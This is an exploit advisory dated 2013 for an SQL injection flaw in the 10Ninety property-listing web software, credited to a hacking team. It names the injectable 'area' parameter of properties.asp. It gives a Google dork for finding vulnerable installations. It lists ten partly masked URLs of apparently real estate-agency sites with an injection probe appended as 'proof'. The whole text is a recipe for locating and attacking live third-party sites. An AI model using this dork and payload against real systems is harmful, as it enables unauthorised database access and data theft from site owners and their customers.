#********************************************************************************
# Exploit Title : 10Ninety Sql injection vulnerability
#
# Software link : www.10ninety.co.uk
#
# Exploit Author : Ashiyane Digital Security Team
#
# Tested on: Windows 7 , Linux
#
# Google Dork : intext:"Powered By 10Ninety"
#
# Date: 2013/08/30
#
--------------------------------------------------------------------
# - Location : [Target]/properties.asp?area=[Sql Injection]
#
# Proof:
#
# http://www.apXXXcycle.co.uk/properties.asp?area=1'
#
# http://www.affittoleXXng.com//properties.asp?area=1'
#
# http://www.assetXXXes.co.uk/properties.asp?area=1'
#
# http://www.alXXXeorge.com/properties.asp?area=1'
#
# http://www.cotsXXlettings.co.uk/properties.asp?area=1'
#
# http://www.fidelisXXrties.co.uk/properties.asp?area=1'
#
# http://www.gXXXproperty.com/properties.asp?area=1'
#
# http://www.sellecXXXs.co.uk/properties.asp?area=1'
#
# http://www.stuarXXXential.com/properties.asp?area=1'
#
# http://www.peXXpads.co.uk/properties.asp?area=1'
#
######################
discovered by : ACC3SS
######################
